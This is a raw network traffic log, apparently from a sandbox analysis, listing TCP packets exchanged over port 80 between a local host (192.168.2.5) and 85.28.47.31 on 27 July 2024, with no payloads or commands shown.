Jul 27, 2024 09:25:00.191207886 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.191219091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.191251993 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.191293955 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.191821098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.191848040 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.191859961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.191880941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.191906929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.192033052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.192044973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.192056894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.192069054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.192091942 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.192121029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.192146063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.192162037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.192194939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.192231894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.192724943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.192768097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.192778111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.192792892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.192820072 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.193001986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.193013906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.193025112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.193036079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.193048954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.193059921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.193064928 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.193101883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.193778992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.193804026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.193814993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.193831921 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.193872929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.194545031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.194586039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.194597006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.194610119 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.194641113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.194737911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.194750071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.194761038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.194776058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.194797993 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.194802999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.194832087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.194859982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.253921986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.253945112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.253953934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.253961086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.253968954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.253977060 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.253987074 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.254040003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.254055977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.254071951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.254482031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.263243914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.263263941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.263298988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.263336897 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.263353109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.263448954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.263679028 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.263701916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.263719082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.263735056 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.263748884 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.263787985 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.263818979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.263823032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.263858080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.263880968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.263896942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.263896942 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.263933897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.263969898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.264019012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.264034986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.264051914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.264075041 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.264095068 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.273559093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.273593903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.273608923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.273665905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.273709059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.273720026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.273725986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.273741961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.273816109 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.273843050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.273858070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.273873091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.273910046 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.273962021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.273967028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.273978949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.273993015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.274008989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.274061918 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.274099112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.274115086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.274130106 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.274139881 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.274189949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.274262905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.274277925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.274295092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.274310112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.274313927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.274364948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.274772882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.274789095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.274804115 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.274831057 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.274862051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.274871111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.274894953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.274909973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.274918079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.274945021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.274971962 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.275114059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.275173903 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.275196075 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.275213003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.275250912 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.275276899 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.275613070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.275629044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.275644064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.275659084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.275670052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.275675058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.275690079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.275695086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.275728941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.275734901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.275744915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.275760889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.275783062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.275810003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.275815010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.275830030 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.275845051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.275860071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.275870085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.275913954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.283238888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.283255100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.283269882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.283301115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.283330917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.283551931 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.283567905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.283581972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.283596039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.283603907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.283611059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.283634901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.283637047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.283663034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.283672094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.283694029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.283699989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.283723116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.283736944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.283742905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.283751965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.283757925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.283775091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.283775091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.283807993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.283816099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.283823967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.283830881 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.283840895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.283869028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.283911943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.284008026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.284024000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.284038067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.284053087 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.284068108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.284069061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.284082890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.284090996 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.284121037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.284147024 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.284195900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.284220934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.284250021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.284281015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.284493923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.284509897 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.284524918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.284545898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.284581900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.284581900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.284603119 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.284619093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.284635067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.284648895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.284651041 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.284671068 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.284702063 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.284753084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.284768105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.284806967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.287535906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.287564993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.287580967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.287594080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.287626982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.287633896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.287683010 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.287687063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.287703037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.287718058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.287739992 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.287765026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.287792921 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.287918091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.287934065 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.287947893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.287962914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.287975073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.287977934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.287992954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.288007021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.288017035 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.288055897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.346344948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.346399069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.346435070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.346453905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.346471071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.346478939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.346502066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.346502066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.346522093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.346522093 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.346540928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.346566916 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.346566916 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.346596003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.356141090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.356156111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.356173038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.356200933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.356215954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.356228113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.356231928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.356256962 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.356296062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.356309891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.356326103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.356359959 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.356394053 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.356451988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.356506109 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.356527090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.356544018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.356573105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.356590986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.356595993 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.356606960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.356638908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.356664896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.356775999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.356801033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.356832981 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.356862068 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.366693974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.366709948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.366727114 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.366808891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.366831064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.366846085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.366852999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.366859913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.366875887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.366888046 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.366945028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.366945982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.367094040 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.367110968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.367125988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.367141008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.367145061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.367156982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.367172003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.367185116 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.367187023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.367202044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.367212057 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.367240906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.367266893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.367280960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.367336035 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.367362022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.367398977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.367409945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.367414951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.367448092 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.367471933 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.367558002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.367573977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.367588043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.367598057 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.367604017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.367634058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.367660999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.367717981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.367733002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.367747068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.367763042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.367768049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.367811918 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.367904902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.367921114 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.367937088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.367949963 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.367955923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.368036985 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.368071079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.368073940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.368088007 CEST	80	49704	85.28.47.31	192.168.2.5
